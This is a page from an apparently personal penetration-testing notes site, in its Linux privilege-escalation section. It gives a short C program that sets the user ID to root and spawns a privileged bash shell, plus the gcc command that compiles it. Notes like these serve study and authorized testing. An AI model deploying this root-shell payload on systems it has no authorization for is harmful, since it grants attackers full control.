Hack$Notes
Search…
⌃K
Hack$Notes
Enumeration
Transferring Files
Metasploit Framework
Reverse Shells
Buffer Overflow
Spawning a Shell
Password Attacks
Privilege Escalation
Windows
Linux
Kernel Exploits
Service Exploits
PATH Variable
SUID/GUID files
CronJobs
Sudo
Custom Executable
Linux PrivEsc Tools
Port Forwarding
Tools / Techniques
Resources
Powered By
GitBook
Custom Executable
Compile a custom executable
######## Code ########
int main() {
setuid(0);
system("/bin/bash -p");
}
######## Compile ########
gcc -o myfile myfile.c
Previous
Sudo
Next
Linux PrivEsc Tools
Last modified
1yr ago